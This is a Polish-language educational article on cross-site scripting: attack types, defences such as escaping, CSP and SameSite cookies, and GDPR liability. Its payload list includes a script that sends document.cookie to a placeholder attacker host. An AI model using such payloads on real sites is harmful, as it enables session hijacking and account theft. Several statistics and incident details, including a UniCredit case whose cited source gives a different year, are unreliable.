Podatność na wstrzykiwanie złośliwych skryptów do stron WWW to 39% cyberataków na aplikacje webowe (OWASP 2023). Mechanizm ten wykorzystuje błędy w Same-Origin Policy – kluczowym zabezpieczeniu przeglądarek, które ogranicza wymianę danych między domenami.

Atakujący mogą przechwycić sesję logowania użytkownika lub manipulować zawartością stron. Przykładowo, włoski bank UniCredit stracił 3 mln euro w 2021 roku przez niezabezpieczony formularz kontaktowy umożliwiający kradzież cookies sesyjnych.

Najbardziej znany atak XSS miał miejsce w 2005 roku – skrypt “Samy” zainfekował ponad milion profili MySpace w mniej niż 24 godziny. Pokazuje to, jak krytyczne są zabezpieczenia na poziomie aplikacji webowych.

❌ Poniższe informacje podane są jedynie w celach edukacyjnych.

Kluczowe mechanizmy ataku

  • Brak walidacji danych wejściowych
  • Renderowanie niezaufanych skryptów w przeglądarce
  • Naruszenie zasad izolacji źródeł (Same-Origin Policy)

Cross-site scripting (XSS)

XSS to technika ataku polegająca na wstrzyknięciu złośliwego kodu JavaScript, który uruchamiany jest w przeglądarce ofiary. Wykorzystuje luki w walidacji danych, pozwalając na manipulację zawartością strony lub przejęcie danych sesyjnych.

Schemat ilustrujący atak XSS – od wysłania złośliwego linku po przejęcie danych użytkownika przez skrypt wstrzyknięty na stronie internetowej.

Infografika pokazująca, jak działa atak XSS (Cross-Site Scripting) – złośliwy skrypt uruchamiany w przeglądarce użytkownika pozwala hakerowi przejąć dane, sesję lub manipulować treścią strony.

Mechanizm działania i przykłady

Atak XSS może prowadzić do:

  • wprowadzenia skryptu w polu formularza,
  • przejęcia sesji użytkownika,
  • przekierowania na fałszywą stronę logowania.

Typy ataków XSS

Typ ataku Miejsce przechowywania Czas wykrycia Przykład
Reflected Parametry żądania (URL) Natychmiast Phishingowy link z osadzonym skryptem
Stored Baza danych Po ponownym załadowaniu Wirus Samy w MySpace (2005)
DOM-based Struktura DOM w przeglądarce Podczas renderowania Manipulacja fragmentem URL (#)
Self-XSS Konsola przeglądarki (socjotechnika) Zależnie od użytkownika Samodzielne wklejenie kodu
Blind XSS Backend/admin panel Opóźnione Atak wykrywany po stronie admina
Mutated XSS (mXSS) Parser HTML/DOM Trudne do wykrycia Przekształcony payload w DOM

Przykładowe payloady XSS

<!-- Reflected XSS -->
<script>alert('XSS')</script>

<!-- Stored XSS -->
<p><script>fetch('https://attacker.com?cookie=' + document.cookie)</script></p>

<!-- DOM-based XSS -->
<a href="#<img src=x onerror=alert('XSS')>">Click</a>

Nie tylko alert( ) – co może zrobić XSS?

  • Przejęcie konta użytkownika (kradzież cookies)
  • Wyświetlenie fałszywego formularza logowania
  • Zdalna kontrola strony przez eval() lub fetch()
  • Kradzież danych formularzy
  • Przekierowania do stron phishingowych

Jak wykryć i zapobiegać lukom XSS?

Narzędzia testujące

  • OWASP ZAP – automatyczny skaner luk XSS
  • Burp Suite – analiza HTTP z funkcją przechwytywania i modyfikacji żądań

Zasady bezpiecznego kodowania

Escaping danych wejściowych

Używaj funkcji, które kodują dane wejściowe. Przykład w PHP:

<?php echo htmlspecialchars($user_input, ENT_QUOTES); ?>

Content Security Policy (CSP)

Ogranicz możliwość wykonywania skryptów przez ustawienie odpowiednich nagłówków:

Content-Security-Policy: default-src 'self'; script-src 'none';

Trusted Types (dla zaawansowanych aplikacji)

Nowoczesny mechanizm przeglądarek eliminujący ryzyko XSS poprzez ograniczenie dynamicznych skryptów w DOM.

SameSite cookies

Konfigurowanie cookies jako SameSite=Strict lub Lax ogranicza możliwość ich przesyłania przez inne domeny.

Checklist bezpieczeństwa aplikacji webowej (XSS)

  • Walidacja i filtrowanie danych wejściowych
  • Escaping danych w HTML, JS i URL
  • Polityka CSP
  • Nagłówki bezpieczeństwa (X-Content-Type-Options, X-XSS-Protection)
  • Testy OWASP ZAP / Burp Suite
  • Ustawienie ciasteczek jako HttpOnly, Secure i SameSite
  • Trusted Types (dla SPA / JS-heavy apps)

Przykład ataku w Polsce: sklep e-commerce

Marzec 2023 – luka XSS w polu komentarza pozwoliła na:

  • kradzież 12 000 danych logowania,
  • straty finansowe na poziomie 230 000 zł,
  • karę 150 000 zł nałożoną przez UODO.

Analiza incydentu wykazała, że zastosowanie CSP i regularne testy OWASP ZAP mogły zapobiec wyciekowi.

Aspekty prawne: RODO i UODO

RODO a XSS

Zgodnie z RODO:

  • aplikacje muszą być regularnie testowane,
  • dane użytkowników muszą być filtrowane i szyfrowane,
  • administratorzy muszą raportować incydenty w ciągu 72h.

Odpowiedzialność administratora

Administratorzy serwisów odpowiadają za:

  • przygotowanie polityki bezpieczeństwa,
  • przeszkolenie zespołów IT,
  • wdrażanie mechanizmów zapobiegawczych.

Przykładowe kary UODO (2023)

  • 450 000 zł – luka XSS przez 8 miesięcy,
  • 120 000 zł – brak szyfrowania cookies,
  • 75 000 zł – korzystanie ze starego CMS.

Wnioski i rekomendacje

Strategia zabezpieczeń powinna obejmować:

  1. Prewencję – walidacja i filtrowanie danych wejściowych.
  2. Detekcję – automatyczne skanowanie luk.
  3. Doskonalenie – regularne audyty i szkolenia.

XSS to jedno z najpoważniejszych zagrożeń dla aplikacji webowych. Polskie firmy muszą zainwestować w bezpieczeństwo, zanim kolejny atak okaże się kosztowną lekcją. Współpraca z firmami jak Pentestica oraz wdrożenie polityk CSP to podstawa skutecznej ochrony.

Działaj teraz – bo prewencja zawsze kosztuje mniej niż incydent.

Źródła

  1. OWASP Foundation. (2023). Cross-site Scripting (XSS). https://owasp.org/www-community/attacks/xss/
  2. OWASP Foundation. (2023). OWASP Top Ten Web Application Security Risks. https://owasp.org/www-project-top-ten/
  3. Queen, T. (n.d.). How a Cross-Site Scripting (XSS) Worm Took Down MySpace. LinkedIn. https://www.linkedin.com/pulse/how-cross-site-scripting-xss-took-down-myspace-tim-queen–0drke
  4. Bitdefender Labs. (2017). Hackers steal data on 400,000 customers of UniCredit. https://www.bitdefender.com/en-us/blog/hotforsecurity/hackers-steal-information-on-400000-customers-of-italys-biggest-bank
  5. UODO. (2023). Decyzje administracyjne w sprawach naruszenia ochrony danych osobowych. https://uodo.gov.pl/en/553/1797
  6. DataGuidance. (2023). Poland: UODO fines American Heart of Poland PLN 1.5M for data breach. https://www.dataguidance.com/news/poland-uodo-fines-american-heart-poland-pln-15m-data
  7. Mozilla Developer Network. (2024). Trusted Types. https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API
  8. Web Security Academy by PortSwigger. (2024). What is Cross-site Scripting (XSS)? https://portswigger.net/web-security/cross-site-scripting